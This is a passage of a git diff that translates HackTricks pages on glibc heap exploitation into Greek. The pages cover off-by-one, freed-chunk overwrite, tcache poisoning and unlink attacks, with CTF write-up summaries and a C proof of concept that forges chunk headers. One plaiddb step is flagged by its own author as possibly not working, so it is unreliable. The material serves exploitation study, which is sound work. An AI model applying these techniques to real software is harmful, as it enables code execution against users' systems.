attack: +Αυτή η εικόνα εξηγεί τέλεια την επίθεση:

https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks

-## Other Examples & References +## Άλλα Παραδείγματα & Αναφορές - [**https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks**](https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks) - [**Bon-nie-appetit. HTB Cyber Apocalypse CTF 2022**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/bon-nie-appetit/) - - Off-by-one because of `strlen` considering the next chunk's `size` field. - - Tcache is being used, so a general off-by-one attacks works to get an arbitrary write primitive with Tcache poisoning. +- Off-by-one λόγω του `strlen` που θεωρεί το πεδίο `size` του επόμενου κομματιού. +- Χρησιμοποιείται Tcache, οπότε μια γενική επίθεση off-by-one λειτουργεί για να αποκτήσει μια αυθαίρετη εγγραφή με Tcache poisoning. - [**Asis CTF 2016 b00ks**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#1-asis-ctf-2016-b00ks) - - It's possible to abuse an off by one to leak an address from the heap because the byte 0x00 of the end of a string being overwritten by the next field. - - Arbitrary write is obtained by abusing the off by one write to make the pointer point to another place were a fake struct with fake pointers will be built. Then, it's possible to follow the pointer of this struct to obtain arbitrary write. - - The libc address is leaked because if the heap is extended using mmap, the memory allocated by mmap has a fixed offset from libc. - - Finally the arbitrary write is abused to write into the address of \_\_free_hook with a one gadget. +- Είναι δυνατόν να εκμεταλλευτείτε ένα off by one για να διαρρεύσετε μια διεύθυνση από την heap επειδή το byte 0x00 στο τέλος μιας συμβολοσειράς που επαναγράφεται από το επόμενο πεδίο. +- Αυθαίρετη εγγραφή αποκτάται εκμεταλλευόμενοι την εγγραφή off by one για να κάνουμε τον δείκτη να δείχνει σε άλλη θέση όπου θα κατασκευαστεί μια ψεύτικη δομή με ψεύτικους δείκτες. Στη συνέχεια, είναι δυνατόν να ακολουθήσουμε τον δείκτη αυτής της δομής για να αποκτήσουμε αυθαίρετη εγγραφή. +- Η διεύθυνση libc διαρρέει επειδή αν η heap επεκταθεί χρησιμοποιώντας mmap, η μνήμη που δεσμεύεται από το mmap έχει μια σταθερή απόσταση από τη libc. +- Τέλος, η αυθαίρετη εγγραφή εκμεταλλεύεται για να γράψει στη διεύθυνση του \_\_free_hook με μια διεύθυνση one gadget. - [**plaidctf 2015 plaiddb**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#instance-2-plaidctf-2015-plaiddb) - - There is a NULL off by one vulnerability in the `getline` function that reads user input lines. This function is used to read the "key" of the content and not the content. - - In the writeup 5 initial chunks are created: - - chunk1 (0x200) - - chunk2 (0x50) - - chunk5 (0x68) - - chunk3 (0x1f8) - - chunk4 (0xf0) - - chunk defense (0x400) to avoid consolidating with top chunk - - Then chunk 1, 5 and 3 are freed, so: - - ```python - [ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ] - ``` - - Then abusing chunk3 (0x1f8) the null off-by-one is abused writing the prev_size to `0x4e0`. - - Note how the sizes of the initially allocated chunks1, 2, 5 and 3 plus the headers of 4 of those chunks equals to `0x4e0`: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0` - - Then, chunk 4 is freed, generating a chunk that consumes all the chunks till the beginning: - - ```python - [ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defense ] - ``` - - ```python - [ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ] - ``` - - Then, `0x200` bytes are allocated filling the original chunk 1 - - And another 0x200 bytes are allocated and chunk2 is destroyed and therefore there isn't no fucking leak and this doesn't work? Maybe this shouldn't be done - - Then, it allocates another chunk with 0x58 "a"s (overwriting chunk2 and reaching chunk5) and modifies the `fd` of the fast bin chunk of chunk5 pointing it to `__malloc_hook` - - Then, a chunk of 0x68 is allocated so the fake fast bin chunk in `__malloc_hook` is the following fast bin chunk - - Finally, a new fast bin chunk of 0x68 is allocated and `__malloc_hook` is overwritten with a `one_gadget` address +- Υπάρχει μια ευπάθεια NULL off by one στη λειτουργία `getline` που διαβάζει γραμμές εισόδου χρήστη. Αυτή η λειτουργία χρησιμοποιείται για να διαβάσει το "κλειδί" του περιεχομένου και όχι το περιεχόμενο. +- Στη γραφή 5 αρχικά δημιουργούνται κομμάτια: +- chunk1 (0x200) +- chunk2 (0x50) +- chunk5 (0x68) +- chunk3 (0x1f8) +- chunk4 (0xf0) +- chunk defense (0x400) για να αποφευχθεί η συγχώνευση με το top chunk +- Στη συνέχεια, τα κομμάτια 1, 5 και 3 ελευθερώνονται, οπότε: +- ```python +[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ] +``` +- Στη συνέχεια, εκμεταλλευόμενοι το chunk3 (0x1f8) η null off-by-one εκμεταλλεύεται γράφοντας το prev_size σε `0x4e0`. +- Σημειώστε πώς τα μεγέθη των αρχικά δεσμευμένων κομματιών 1, 2, 5 και 3 συν τα headers 4 αυτών των κομματιών ισούνται με `0x4e0`: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0` +- Στη συνέχεια, το κομμάτι 4 ελευθερώνεται, δημιουργώντας ένα κομμάτι που καταναλώνει όλα τα κομμάτια μέχρι την αρχή: +- ```python +[ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defense ] +``` +- ```python +[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ] +``` +- Στη συνέχεια, δεσμεύονται `0x200` bytes γεμίζοντας το αρχικό κομμάτι 1. +- Και άλλο 0x200 bytes δεσμεύονται και το chunk2 καταστρέφεται και επομένως δεν υπάρχει καμία διαρροή και αυτό δεν λειτουργεί; Ίσως αυτό δεν θα έπρεπε να γίνει. +- Στη συνέχεια, δεσμεύει άλλο ένα κομμάτι με 0x58 "a"s (επανεγγράφοντας το chunk2 και φτάνοντας στο chunk5) και τροποποιεί το `fd` του γρήγορου bin chunk του chunk5 δείχνοντάς το στο `__malloc_hook`. +- Στη συνέχεια, ένα κομμάτι 0x68 δεσμεύεται έτσι ώστε το ψεύτικο γρήγορο bin chunk στο `__malloc_hook` να είναι το επόμενο γρήγορο bin chunk. +- Τέλος, ένα νέο γρήγορο bin chunk 0x68 δεσμεύεται και το `__malloc_hook` αντικαθίσταται με μια διεύθυνση `one_gadget`. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md b/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md index 117f462b6..b2091578b 100644 --- a/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md +++ b/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md @@ -1,23 +1,23 @@ -# Overwriting a freed chunk +# Επικαλύπτοντας ένα ελεύθερο κομμάτι {{#include ../../banners/hacktricks-training.md}} -Several of the proposed heap exploitation techniques need to be able to overwrite pointers inside freed chunks. The goal of this page is to summarise the potential vulnerabilities that could grant this access: +Πολλές από τις προτεινόμενες τεχνικές εκμετάλλευσης σωρού χρειάζονται τη δυνατότητα να επικαλύπτουν δείκτες μέσα σε ελεύθερα κομμάτια. Ο στόχος αυτής της σελίδας είναι να συνοψίσει τις πιθανές ευπάθειες που θα μπορούσαν να παραχωρήσουν αυτή την πρόσβαση: -### Simple Use After Free +### Απλή Χρήση Μετά την Ελευθέρωση -If it's possible for the attacker to **write info in a free chunk**, they could abuse this to overwrite the needed pointers. +Εάν είναι δυνατόν για τον επιτιθέμενο να **γράψει πληροφορίες σε ένα ελεύθερο κομμάτι**, θα μπορούσαν να το εκμεταλλευτούν αυτό για να επικαλύψουν τους απαραίτητους δείκτες. -### Double Free +### Διπλή Ελευθέρωση -If the attacker can **`free` two times the same chunk** (free other chunks in between potentially) and make it be **2 times in the same bin**, it would be possible for the user to **allocate the chunk later**, **write the needed pointers** and then **allocate it again** triggering the actions of the chunk being allocated (e.g. fast bin attack, tcache attack...) +Εάν ο επιτιθέμενος μπορεί να **`ελευθερώσει` δύο φορές το ίδιο κομμάτι** (ελευθερώνοντας άλλα κομμάτια ενδιάμεσα πιθανώς) και να το κάνει **2 φορές στην ίδια δεξαμενή**, θα ήταν δυνατό για τον χρήστη να **κατανεμηθεί το κομμάτι αργότερα**, **να γράψει τους απαραίτητους δείκτες** και στη συνέχεια **να το κατανεμηθεί ξανά** ενεργοποιώντας τις ενέργειες του κομματιού που κατανεμήθηκε (π.χ. επίθεση γρήγορης δεξαμενής, επίθεση tcache...) -### Heap Overflow +### Υπερχείλιση Σωρού -It might be possible to **overflow an allocated chunk having next a freed chunk** and modify some headers/pointers of it. +Ενδέχεται να είναι δυνατό να **υπερχυλίσει ένα κατανεμημένο κομμάτι που έχει δίπλα του ένα ελεύθερο κομμάτι** και να τροποποιήσει κάποιες κεφαλίδες/δείκτες του. -### Off-by-one overflow +### Υπερχείλιση Off-by-one -In this case it would be possible to **modify the size** of the following chunk in memory. An attacker could abuse this to **make an allocated chunk have a bigger size**, then **`free`** it, making the chunk been **added to a bin of a different** size (bigger), then allocate the **fake size**, and the attack will have access to a **chunk with a size which is bigger** than it really is, **granting therefore an overlapping chunks situation**, which is exploitable the same way to a **heap overflow** (check previous section). +Σε αυτή την περίπτωση θα ήταν δυνατό να **τροποποιηθεί το μέγεθος** του επόμενου κομματιού στη μνήμη. Ένας επιτιθέμενος θα μπορούσε να το εκμεταλλευτεί αυτό για να **κάνει ένα κατανεμημένο κομμάτι να έχει μεγαλύτερο μέγεθος**, στη συνέχεια **`ελευθερώσει`** το, κάνοντάς το κομμάτι να **προστεθεί σε μια δεξαμενή διαφορετικού** μεγέθους (μεγαλύτερου), στη συνέχεια να κατανεμηθεί το **ψεύτικο μέγεθος**, και η επίθεση θα έχει πρόσβαση σε ένα **κομμάτι με μέγεθος μεγαλύτερο** από αυτό που είναι πραγματικά, **παρέχοντας έτσι μια κατάσταση επικαλυπτόμενων κομματιών**, η οποία είναι εκμεταλλεύσιμη με τον ίδιο τρόπο όπως μια **υπερχείλιση σωρού** (δείτε την προηγούμενη ενότητα). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/tcache-bin-attack.md b/src/binary-exploitation/libc-heap/tcache-bin-attack.md index 7c69db95c..27b896a7f 100644 --- a/src/binary-exploitation/libc-heap/tcache-bin-attack.md +++ b/src/binary-exploitation/libc-heap/tcache-bin-attack.md @@ -4,44 +4,44 @@ ## Basic Information -For more information about what is a Tcache bin check this page: +Για περισσότερες πληροφορίες σχετικά με το τι είναι ένα Tcache bin, ελέγξτε αυτή τη σελίδα: {{#ref}} bins-and-memory-allocations.md {{#endref}} -First of all, note that the Tcache was introduced in Glibc version 2.26. +Πρώτα απ' όλα, σημειώστε ότι το Tcache εισήχθη στην έκδοση Glibc 2.26. -The **Tcache attack** (also known as **Tcache poisoning**) proposed in the [**guyinatuxido page**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) is very similar to the fast bin attack where the goal is to overwrite the pointer to the next chunk in the bin inside a freed chunk to an arbitrary address so later it's possible to **allocate that specific address and potentially overwrite pointes**. +Η **επίθεση Tcache** (γνωστή και ως **δηλητηρίαση Tcache**) που προτάθηκε στη [**σελίδα guyinatuxido**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) είναι πολύ παρόμοια με την επίθεση fast bin, όπου ο στόχος είναι να αντικατασταθεί ο δείκτης στο επόμενο chunk μέσα σε ένα ελεύθερο chunk με μια αυθαίρετη διεύθυνση, ώστε αργότερα να είναι δυνατή η **κατανομή αυτής της συγκεκριμένης διεύθυνσης και πιθανώς η αντικατάσταση των δεικτών**. -However, nowadays, if you run the mentioned code you will get the error: **`malloc(): unaligned tcache chunk detected`**. So, it's needed to write as address in the new pointer an aligned address (or execute enough times the binary so the written address is actually aligned). +Ωστόσο, σήμερα, αν εκτελέσετε τον αναφερόμενο κώδικα, θα λάβετε το σφάλμα: **`malloc(): unaligned tcache chunk detected`**. Έτσι, είναι απαραίτητο να γράψετε ως διεύθυνση στον νέο δείκτη μια ευθυγραμμισμένη διεύθυνση (ή να εκτελέσετε αρκετές φορές το δυαδικό αρχείο ώστε η γραμμένη διεύθυνση να είναι στην πραγματικότητα ευθυγραμμισμένη). ### Tcache indexes attack -Usually it's possible to find at the beginning of the heap a chunk containing the **amount of chunks per index** inside the tcache and the address to the **head chunk of each tcache index**. If for some reason it's possible to modify this information, it would be possible to **make the head chunk of some index point to a desired address** (like `__malloc_hook`) to then allocated a chunk of the size of the index and overwrite the contents of `__malloc_hook` in this case. +Συνήθως είναι δυνατό να βρείτε στην αρχή του heap ένα chunk που περιέχει την **ποσότητα των chunks ανά δείκτη** μέσα στο tcache και τη διεύθυνση του **head chunk κάθε δείκτη tcache**. Αν για κάποιο λόγο είναι δυνατό να τροποποιηθεί αυτή η πληροφορία, θα ήταν δυνατό να **καταστήσουμε το head chunk κάποιου δείκτη να δείχνει σε μια επιθυμητή διεύθυνση** (όπως το `__malloc_hook`) ώστε στη συνέχεια να κατανεμηθεί ένα chunk του μεγέθους του δείκτη και να αντικατασταθούν τα περιεχόμενα του `__malloc_hook` σε αυτή την περίπτωση. ## Examples - CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html) - - **Libc info leak**: It's possible to fill the tcaches, add a chunk into the unsorted list, empty the tcache and **re-allocate the chunk from the unsorted bin** only overwriting the first 8B, leaving the **second address to libc from the chunk intact so we can read it**. - - **Tcache attack**: The binary is vulnerable a 1B heap overflow. This will be abuse to change the **size header** of an allocated chunk making it bigger. Then, this chunk will be **freed**, adding it to the tcache of chunks of the fake size. Then, we will allocate a chunk with the faked size, and the previous chunk will be **returned knowing that this chunk was actually smaller** and this grants up the opportunity to **overwrite the next chunk in memory**.\ - We will abuse this to **overwrite the next chunk's FD pointer** to point to **`malloc_hook`**, so then its possible to alloc 2 pointers: first the legit pointer we just modified, and then the second allocation will return a chunk in **`malloc_hook`** that it's possible to abuse to write a **one gadget**. +- **Libc info leak**: Είναι δυνατό να γεμίσετε τα tcaches, να προσθέσετε ένα chunk στη μη ταξινομημένη λίστα, να αδειάσετε το tcache και να **ξανακατανείμετε το chunk από το unsorted bin** μόνο αντικαθιστώντας τα πρώτα 8B, αφήνοντας τη **δεύτερη διεύθυνση στη libc από το chunk ανέγγιχτη ώστε να μπορούμε να την διαβάσουμε**. +- **Tcache attack**: Το δυαδικό αρχείο είναι ευάλωτο σε 1B heap overflow. Αυτό θα εκμεταλλευτεί για να αλλάξει το **size header** ενός κατανεμημένου chunk κάνοντάς το μεγαλύτερο. Στη συνέχεια, αυτό το chunk θα **απελευθερωθεί**, προσθέτοντάς το στο tcache των chunks ψεύτικου μεγέθους. Στη συνέχεια, θα κατανεμηθεί ένα chunk με το ψεύτικο μέγεθος, και το προηγούμενο chunk θα **επιστραφεί γνωρίζοντας ότι αυτό το chunk ήταν στην πραγματικότητα μικρότερο** και αυτό παρέχει την ευκαιρία να **αντικατασταθεί ο δείκτης FD του επόμενου chunk στη μνήμη**.\ +Θα εκμεταλλευτούμε αυτό για να **αντικαταστήσουμε τον δείκτη FD του επόμενου chunk** ώστε να δείχνει στο **`malloc_hook`**, έτσι ώστε να είναι δυνατή η κατανομή 2 δεικτών: πρώτα ο νόμιμος δείκτης που μόλις τροποποιήσαμε, και στη συνέχεια η δεύτερη κατανομή θα επιστρέψει ένα chunk στο **`malloc_hook`** που είναι δυνατό να εκμεταλλευτεί για να γράψει ένα **one gadget**. - CTF [https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html) - - **Libc info leak**: There is a use after free and a double free. In this writeup the author leaked an address of libc by readnig the address of a chunk placed in a small bin (like leaking it from the unsorted bin but from the small one) - - **Tcache attack**: A Tcache is performed via a **double free**. The same chunk is freed twice, so inside the Tcache the chunk will point to itself. Then, it's allocated, its FD pointer is modified to point to the **free hook** and then it's allocated again so the next chunk in the list is going to be in the free hook. Then, this is also allocated and it's possible to write a the address of `system` here so when a malloc containing `"/bin/sh"` is freed we get a shell. +- **Libc info leak**: Υπάρχει χρήση μετά από απελευθέρωση και διπλή απελευθέρωση. Σε αυτή την αναφορά, ο συγγραφέας διέρρευσε μια διεύθυνση της libc διαβάζοντας τη διεύθυνση ενός chunk που τοποθετήθηκε σε ένα μικρό bin (όπως η διαρροή από το unsorted bin αλλά από το μικρό). +- **Tcache attack**: Μια Tcache εκτελείται μέσω μιας **διπλής απελευθέρωσης**. Το ίδιο chunk απελευθερώνεται δύο φορές, έτσι μέσα στο Tcache το chunk θα δείχνει στον εαυτό του. Στη συνέχεια, κατανεμηθεί, ο δείκτης FD του τροποποιείται ώστε να δείχνει στο **free hook** και στη συνέχεια κατανεμηθεί ξανά ώστε το επόμενο chunk στη λίστα να είναι στο free hook. Στη συνέχεια, αυτό επίσης κατανεμηθεί και είναι δυνατό να γραφτεί η διεύθυνση του `system` εδώ ώστε όταν ένα malloc που περιέχει `"/bin/sh"` απελευθερωθεί, να αποκτήσουμε ένα shell. - CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html) - - The main vuln here is the capacity to `free` any address in the heap by indicating its offset - - **Tcache indexes attack**: It's possible to allocate and free a chunk of a size that when stored inside the tcache chunk (the chunk with the info of the tcache bins) will generate an **address with the value 0x100**. This is because the tcache stores the amount of chunks on each bin in different bytes, therefore one chunk in one specific index generates the value 0x100. - - Then, this value looks like there is a chunk of size 0x100. Allowing to abuse it by `free` this address. This will **add that address to the index of chunks of size 0x100 in the tcache**. - - Then, **allocating** a chunk of size **0x100**, the previous address will be returned as a chunk, allowing to overwrite other tcache indexes.\ - For example putting the address of malloc hook in one of them and allocating a chunk of the size of that index will grant a chunk in calloc hook, which allows for writing a one gadget to get a s shell. +- Η κύρια ευπάθεια εδώ είναι η ικανότητα να `free` οποιαδήποτε διεύθυνση στο heap υποδεικνύοντας την απόστασή της. +- **Tcache indexes attack**: Είναι δυνατό να κατανεμηθεί και να απελευθερωθεί ένα chunk ενός μεγέθους που όταν αποθηκευτεί μέσα στο tcache chunk (το chunk με τις πληροφορίες των tcache bins) θα δημιουργήσει μια **διεύθυνση με την τιμή 0x100**. Αυτό συμβαίνει επειδή το tcache αποθηκεύει την ποσότητα των chunks σε κάθε bin σε διαφορετικά bytes, επομένως ένα chunk σε έναν συγκεκριμένο δείκτη δημιουργεί την τιμή 0x100. +- Στη συνέχεια, αυτή η τιμή φαίνεται να υπάρχει ένα chunk μεγέθους 0x100. Επιτρέποντας να εκμεταλλευτεί με `free` αυτή τη διεύθυνση. Αυτό θα **προσθέσει αυτή τη διεύθυνση στον δείκτη των chunks μεγέθους 0x100 στο tcache**. +- Στη συνέχεια, **κατανεμίζοντας** ένα chunk μεγέθους **0x100**, η προηγούμενη διεύθυνση θα επιστραφεί ως chunk, επιτρέποντας την αντικατάσταση άλλων tcache indexes.\ +Για παράδειγμα, τοποθετώντας τη διεύθυνση του malloc hook σε έναν από αυτούς και κατανεμίζοντας ένα chunk του μεγέθους αυτού του δείκτη θα παραχωρήσει ένα chunk στο calloc hook, το οποίο επιτρέπει τη γραφή ενός one gadget για να αποκτήσουμε ένα shell. - CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html) - - Same vulnerability as before with one extra restriction - - **Tcache indexes attack**: Similar attack to the previous one but using less steps by **freeing the chunk that contains the tcache info** so it's address is added to the tcache index of its size so it's possible to allocate that size and get the tcache chunk info as a chunk, which allows to add free hook as the address of one index, alloc it, and write a one gadget on it. +- Η ίδια ευπάθεια όπως πριν με έναν επιπλέον περιορισμό. +- **Tcache indexes attack**: Παρόμοια επίθεση με την προηγούμενη αλλά χρησιμοποιώντας λιγότερα βήματα απελευθερώνοντας το chunk που περιέχει τις πληροφορίες tcache ώστε η διεύθυνσή του να προστεθεί στον δείκτη tcache του μεγέθους του, έτσι ώστε να είναι δυνατό να κατανεμηθεί αυτό το μέγεθος και να αποκτηθούν οι πληροφορίες του tcache chunk ως chunk, το οποίο επιτρέπει την προσθήκη του free hook ως διεύθυνση ενός δείκτη, να το κατανεμηθεί και να γραφτεί ένα one gadget πάνω του. - [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/) - - **Write After Free** to add a number to the `fd` pointer. - - A lot of **heap feng-shui** is needed in this challenge. The writeup shows how **controlling the head of the Tcache** free-list is pretty handy. - - **Glibc leak** through `stdout` (FSOP). - - **Tcache poisoning** to get an arbitrary write primitive. +- **Write After Free** για να προσθέσετε έναν αριθμό στον δείκτη `fd`. +- Χρειάζεται πολύ **heap feng-shui** σε αυτή την πρόκληση. Η αναφορά δείχνει πώς **η διαχείριση της κεφαλής της λίστας ελεύθερων Tcache** είναι πολύ χρήσιμη. +- **Glibc leak** μέσω `stdout` (FSOP). +- **Tcache poisoning** για να αποκτήσετε μια αυθαίρετη γραφή primitive. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/unlink-attack.md b/src/binary-exploitation/libc-heap/unlink-attack.md index 959ff36db..52413d844 100644 --- a/src/binary-exploitation/libc-heap/unlink-attack.md +++ b/src/binary-exploitation/libc-heap/unlink-attack.md @@ -4,14 +4,13 @@ ## Basic Information -When this attack was discovered it mostly allowed a WWW (Write What Where), however, some **checks were added** making the new version of the attack more interesting more more complex and **useless**. +Όταν ανακαλύφθηκε αυτή η επίθεση, κυρίως επέτρεπε ένα WWW (Write What Where), ωστόσο, προστέθηκαν μερικοί **έλεγχοι** που καθιστούν την νέα έκδοση της επίθεσης πιο ενδιαφέρουσα, πιο περίπλοκη και **άχρηστη**. ### Code Example:
Code - ```c #include #include @@ -21,109 +20,108 @@ When this attack was discovered it mostly allowed a WWW (Write What Where), howe // Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work struct chunk_structure { - size_t prev_size; - size_t size; - struct chunk_structure *fd; - struct chunk_structure *bk; - char buf[10]; // padding +size_t prev_size; +size_t size; +struct chunk_structure *fd; +struct chunk_structure *bk; +char buf[10]; // padding }; int main() { - unsigned long long *chunk1, *chunk2; - struct chunk_structure *fake_chunk, *chunk2_hdr; - char data[20]; +unsigned long long *chunk1, *chunk2; +struct chunk_structure *fake_chunk, *chunk2_hdr; +char data[20]; - // First grab two chunks (non fast) - chunk1 = malloc(0x8000); - chunk2 = malloc(0x8000); - printf("Stack pointer to chunk1: %p\n", &chunk1); - printf("Chunk1: %p\n", chunk1); - printf("Chunk2: %p\n", chunk2); +// First grab two chunks (non fast) +chunk1 = malloc(0x8000); +chunk2 = malloc(0x8000); +printf("Stack pointer to chunk1: %p\n", &chunk1); +printf("Chunk1: %p\n", chunk1); +printf("Chunk2: %p\n", chunk2); - // Assuming attacker has control over chunk1's contents - // Overflow the heap, override chunk2's header +// Assuming attacker has control over chunk1's contents +// Overflow the heap, override chunk2's header - // First forge a fake chunk starting at chunk1 - // Need to setup fd and bk pointers to pass the unlink security check - fake_chunk = (struct chunk_structure *)chunk1; - fake_chunk->size = 0x8000; - fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P - fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P +// First forge a fake chunk starting at chunk1 +// Need to setup fd and bk pointers to pass the unlink security check +fake_chunk = (struct chunk_structure *)chunk1; +fake_chunk->size = 0x8000; +fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P +fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P - // Next modify the header of chunk2 to pass all security checks - chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); - chunk2_hdr->prev_size = 0x8000; // chunk1's data region size - chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit +// Next modify the header of chunk2 to pass all security checks +chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); +chunk2_hdr->prev_size = 0x8000; // chunk1's data region size +chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit - // Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' - // This results in chunk1 pointer pointing to chunk1 - 3 - // i.e. chunk1[3] now contains chunk1 itself. - // We then make chunk1 point to some victim's data - free(chunk2); - printf("Chunk1: %p\n", chunk1); - printf("Chunk1[3]: %x\n", chunk1[3]); +// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' +// This results in chunk1 pointer pointing to chunk1 - 3 +// i.e. chunk1[3] now contains chunk1 itself. +// We then make chunk1 point to some victim's data +free(chunk2); +printf("Chunk1: %p\n", chunk1); +printf("Chunk1[3]: %x\n", chunk1[3]); - chunk1[3] = (unsigned long long)data; +chunk1[3] = (unsigned long long)data; - strcpy(data, "Victim's data"); +strcpy(data, "Victim's data"); - // Overwrite victim's data using chunk1 - chunk1[0] = 0x002164656b636168LL; +// Overwrite victim's data using chunk1 +chunk1[0] = 0x002164656b636168LL; - printf("%s\n", data); +printf("%s\n", data); - return 0; +return 0; } ``` -
-- Attack doesn't work if tcaches are used (after 2.26) +- Η επίθεση δεν λειτουργεί αν χρησιμοποιούνται tcaches (μετά την 2.26) -### Goal +### Στόχος -This attack allows to **change a pointer to a chunk to point 3 addresses before of itself**. If this new location (surroundings of where the pointer was located) has interesting stuff, like other controllable allocations / stack..., it's possible to read/overwrite them to cause a bigger harm. +Αυτή η επίθεση επιτρέπει να **αλλάξει ένας δείκτης σε ένα chunk ώστε να δείχνει 3 διευθύνσεις πριν από τον εαυτό του**. Αν αυτή η νέα τοποθεσία (περίγυρος όπου βρισκόταν ο δείκτης) έχει ενδιαφέροντα στοιχεία, όπως άλλες ελεγχόμενες κατανομές / στοίβα..., είναι δυνατόν να διαβαστούν/επικαλυφθούν για να προκληθεί μεγαλύτερη ζημιά. -- If this pointer was located in the stack, because it's now pointing 3 address before itself and the user potentially can read it and modify it, it will be possible to leak sensitive info from the stack or even modify the return address (maybe) without touching the canary -- In order CTF examples, this pointer is located in an array of pointers to other allocations, therefore, making it point 3 address before and being able to read and write it, it's possible to make the other pointers point to other addresses.\ - As potentially the user can read/write also the other allocations, he can leak information or overwrite new address in arbitrary locations (like in the GOT). +- Αν αυτός ο δείκτης βρισκόταν στη στοίβα, επειδή τώρα δείχνει 3 διευθύνσεις πριν από τον εαυτό του και ο χρήστης μπορεί δυνητικά να το διαβάσει και να το τροποποιήσει, θα είναι δυνατό να διαρρεύσει ευαίσθητες πληροφορίες από τη στοίβα ή ακόμη και να τροποποιήσει τη διεύθυνση επιστροφής (ίσως) χωρίς να αγγίξει το canary. +- Στα παραδείγματα CTF, αυτός ο δείκτης βρίσκεται σε έναν πίνακα δεικτών σε άλλες κατανομές, επομένως, κάνοντάς τον να δείχνει 3 διευθύνσεις πριν και έχοντας τη δυνατότητα να το διαβάσει και να το γράψει, είναι δυνατό να κάνει τους άλλους δείκτες να δείχνουν σε άλλες διευθύνσεις.\ +Καθώς ο χρήστης μπορεί δυνητικά να διαβάσει/γράψει και τις άλλες κατανομές, μπορεί να διαρρεύσει πληροφορίες ή να επικαλύψει νέες διευθύνσεις σε αυθαίρετες τοποθεσίες (όπως στο GOT). -### Requirements +### Απαιτήσεις -- Some control in a memory (e.g. stack) to create a couple of chunks giving values to some of the attributes. -- Stack leak in order to set the pointers of the fake chunk. +- Κάποιος έλεγχος σε μια μνήμη (π.χ. στοίβα) για να δημιουργηθούν μερικά chunks δίνοντας τιμές σε μερικά από τα χαρακτηριστικά. +- Διαρροή από τη στοίβα προκειμένου να ρυθμιστούν οι δείκτες του ψεύτικου chunk. -### Attack +### Επίθεση -- There are a couple of chunks (chunk1 and chunk2) -- The attacker controls the content of chunk1 and the headers of chunk2. -- In chunk1 the attacker creates the structure of a fake chunk: - - To bypass protections he makes sure that the field `size` is correct to avoid the error: `corrupted size vs. prev_size while consolidating` - - and fields `fd` and `bk` of the fake chunk are pointing to where chunk1 pointer is stored in the with offsets of -3 and -2 respectively so `fake_chunk->fd->bk` and `fake_chunk->bk->fd` points to position in memory (stack) where the real chunk1 address is located: +- Υπάρχουν μερικά chunks (chunk1 και chunk2) +- Ο επιτιθέμενος ελέγχει το περιεχόμενο του chunk1 και τις κεφαλίδες του chunk2. +- Στο chunk1 ο επιτιθέμενος δημιουργεί τη δομή ενός ψεύτικου chunk: +- Για να παρακάμψει τις προστασίες, διασφαλίζει ότι το πεδίο `size` είναι σωστό για να αποφευχθεί το σφάλμα: `corrupted size vs. prev_size while consolidating` +- και τα πεδία `fd` και `bk` του ψεύτικου chunk δείχνουν εκεί που αποθηκεύεται ο δείκτης του chunk1 με offsets -3 και -2 αντίστοιχα, έτσι ώστε 